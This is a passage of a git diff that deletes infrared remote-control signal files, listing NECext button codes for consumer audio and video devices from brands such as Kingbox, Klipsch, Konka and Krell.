-name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: PLAY_>_(ENHANCE) -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: STOP_[]_(PROCESSOR) -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir deleted file mode 100644 index fa9268842..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 06 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 08 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0B 00 00 00 -# -name: SUBT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 0F 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 12 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 13 00 00 00 -# -name: TXT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 14 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 15 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 16 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 17 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1C 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1E 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 1F 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 40 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 41 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 42 00 00 00 -# -name: TVRADIO -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 43 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 44 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 45 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 46 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 47 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 4E 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 52 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 53 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 56 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 57 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 5A 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 01 FE 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir deleted file mode 100644 index 3ea5be6b6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: chap+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: chap- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: del -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 29 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 2D 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 40 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 42 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 43 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 44 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 45 00 00 00 -# -name: mark -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 46 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 48 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 49 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4A 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir deleted file mode 100644 index d49ffacec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 00 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 01 00 00 00 -# -name: LOW_PASS_+ -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 02 00 00 00 -# -name: LOW_PASS_- -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 03 00 00 00 -# -name: PHASE_+ -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 04 00 00 00 -# -name: PHASE_- -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 05 00 00 00 -# -name: ADAPTIVE_ROOM_CORR -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 06 00 00 00 -# -name: FLAT -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 10 00 00 00 -# -name: PUNCH -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 11 00 00 00 -# -name: DEPTH -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 12 00 00 00 -# -name: USER_1_RECALL -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 1B 00 00 00 -# -name: USER_2_RECALL -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 1C 00 00 00 -# -name: MUSIC_RECALL -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 20 00 00 00 -# -name: MOVIE_RECALL -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 21 00 00 00 -# -name: NIGHT_RECALL -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 22 00 00 00 -# -name: USER_1_SAVE -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 23 00 00 00 -# -name: USER_2_SAVE -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 24 00 00 00 -# -name: MUSIC_SAVE -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 28 00 00 00 -# -name: MOVIE_SAVE -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 29 00 00 00 -# -name: NIGHT_SAVE -type: parsed -protocol: NECext -address: 11 51 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir deleted file mode 100644 index b3c44a54c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 03 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 04 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 08 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 14 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 17 00 00 00 -# -name: R-CLICK -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 25 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 46 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 47 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 48 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 49 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 4C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 5F 00 00 00 -# -name: MAGNIFY_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 89 00 00 00 -# -name: MAGNIFY_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8A 00 00 00 -# -name: KEYSTONE_+ -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8B 00 00 00 -# -name: KEYSTONE_- -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: 8C 00 00 00 -# -name: S_VIDEO -type: parsed -protocol: NECext -address: 18 E9 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir deleted file mode 100644 index 3b11e6fc7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Reset -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 05 00 00 00 -# -name: V-Chip -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0A 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0B 00 00 00 -# -name: ChRecall -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0D 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 19 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1D 00 00 00 -# -name: Caption -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir deleted file mode 100644 index d364f7cbf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 09 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0A 00 00 00 -# -name: novideo -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0B 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 10 00 00 00 -# -name: analog -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 13 00 00 00 -# -name: game -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 15 00 00 00 -# -name: vstatus -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1C 00 00 00 -# -name: timing -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 19 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir deleted file mode 100644 index 61e0fb60d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRE_AMP_INPUT_E -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: PRE_AMP_INPUT_F -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: PRE_AMP_INPUT_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: PRE_AMP_INPUT_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: PRE_AMP_INPUT_C -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 24 00 00 00 -# -name: PRE_AMP_INPUT_D -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir deleted file mode 100644 index f2fd03829..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir deleted file mode 100644 index 5c2f476f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir +++ /dev/null @@ -1,506 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 09 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: RET -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: CLR -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: SKIP_< -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 32 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3F 00 00 00 diff --git 